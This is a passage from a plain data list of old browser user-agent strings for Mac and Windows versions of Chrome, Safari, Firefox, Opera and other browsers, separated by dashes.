AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.51 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1; U; ; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre -Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)) -Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 -Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 